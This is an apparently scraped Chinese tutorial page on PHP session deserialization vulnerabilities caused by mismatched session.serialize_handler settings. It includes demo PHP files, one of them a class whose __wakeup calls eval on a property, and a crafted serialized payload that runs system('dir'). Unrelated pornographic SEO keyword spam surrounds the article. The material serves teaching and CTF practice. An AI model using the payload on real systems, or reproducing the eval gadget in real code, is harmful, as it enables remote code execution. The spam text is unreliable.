色综合图-色综合图片-色综合图片二区150p-色综合图区-玖玖国产精品视频-玖玖香蕉视频

您的位置:首頁(yè)技術(shù)文章
文章詳情頁(yè)

PHP session反序列化漏洞深入探究

瀏覽:7日期:2022-06-05 18:00:25
目錄
  • PHP session
  • php三種序列化處理器

PHP session

php session 反序列化漏洞存在的原因:當(dāng)序列化session和讀取反序列化字符時(shí)采用的序列化選擇器不一樣時(shí),處理的方法不一樣。

php三種序列化處理器

序列化處理器
php (php默認(rèn)中使用的序列化) 存儲(chǔ)格式為:鍵名 + 豎線(xiàn) + 經(jīng)過(guò)serialize()函數(shù)反序列化處理的值

php_binary 存儲(chǔ)格式:鍵名的長(zhǎng)度對(duì)應(yīng)的ASCII字符 + 鍵名 + 經(jīng)過(guò)serialize()函數(shù)反序列化處理的值

php_serialize 在php版本>5.5.4中可以選擇使用 存儲(chǔ)格式:經(jīng)過(guò)serialize()函數(shù)反序列處理的數(shù)組

通過(guò)php.ini 可以設(shè)置保存路徑配置 php session 參數(shù)是 session.save_path=“保存路徑”

php 中配置session序列化處理器通過(guò)ini_set()方法進(jìn)行選擇 :ini_set(‘session.serialize_handler’, ‘處理器’);

生成session php_serialize序列化處理器

demo2.php<?phpini_set("session.serialize_handler", "php_serialize");session_start();//創(chuàng)建一個(gè)session 會(huì)話(huà)(當(dāng)客戶(hù)端第一次訪(fǎng)問(wèn)時(shí)會(huì)生成一個(gè)隨機(jī)的session文件在指定保存目錄中)$_SESSION["session"] = $_GET["k"];var_dump($_SESSION);

訪(fǎng)問(wèn)該頁(yè)面

查看session 文件保存路徑,生成了一個(gè)sess_一串隨機(jī)字符的文件,打開(kāi)文件查看,從get提交的值以序列化的格式存儲(chǔ)到該文件。

在讀取session時(shí)使用不一樣的序列化處理器,使用php_serialize 序列化處理會(huì)把 符號(hào) “|“作為一個(gè)正常的字符處理。而php序列化處理器會(huì)把”|” 當(dāng)成分割符處理。

ctf.php<?phpini_set("session.serialize_handler", "php");session_start();class test{    public $name;    function __wakeup(){eval($this->name);    }}

構(gòu)造成反序列化payload為:k=|O:4:“test”:1:{s:4:“name”;s:17:“system(‘dir’);”;}

訪(fǎng)問(wèn)demo2.php

查看sess文件內(nèi)容:| 分割符被傳遞了進(jìn)去

再訪(fǎng)問(wèn)ctf.php,觸發(fā)了__wakeup函數(shù)從而執(zhí)行了eval代碼執(zhí)行命令,由于使用不同的序列化處理器來(lái)處理session文件,序列化對(duì)特殊符號(hào)的處理方法不一樣,從而導(dǎo)致產(chǎn)生了漏洞

到此這篇關(guān)于PHP session反序列化漏洞深入探究的文章就介紹到這了,更多相關(guān)PHP session反序列化內(nèi)容請(qǐng)搜索以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持!

標(biāo)簽: PHP
相關(guān)文章:
主站蜘蛛池模板: 免费播放毛片 | 国产成人ay手机在线观看 | 国语精品视频在线观看不卡 | 波野多结衣在线观看 | 午夜爽爽性刺激一区二区视频 | 美女黄色三级 | 国产欧美日韩亚洲精品区2345 | 综合色久七七综合七七蜜芽 | 国产成人18 | 免费一级毛片无毒不卡 | 全午夜免费一级毛片 | 亚洲www在线 | 免费永久观看美女视频网站网址 | 特级淫片日本高清视频 | 国产高清美女一级a毛片久久w | 精品成人网 | 日产一区两区三区 | 欧美啪啪一级毛片 | 亚洲欧美另类自拍第一页 | 亚洲一区天堂 | 国产精品久久久久久久久99热 | 欧美大狠狠大臿蕉香蕉大视频 | 亚洲第一区视频在线观看 | 综合 91在线精品 | 国产成人亚洲精品无广告 | 亚洲人成网址在线播放a | 乱码一区 | 欧美日韩 国产区 在线观看 | 99久久成人 | 国产网友自拍 | 亚洲欧美日韩国产一区二区精品 | 日韩午夜视频在线观看 | 国产欧美日韩在线一区二区不卡 | 精品综合久久久久久98 | 影院成人区精品一区二区婷婷丽春院影视 | 免费高清特黄a 大片 | 国产乱码一区二区三区四川人 | 91成人爽a毛片一区二区 | 国产最新精品 | 久久精品99 | 欧美人成在线视频 |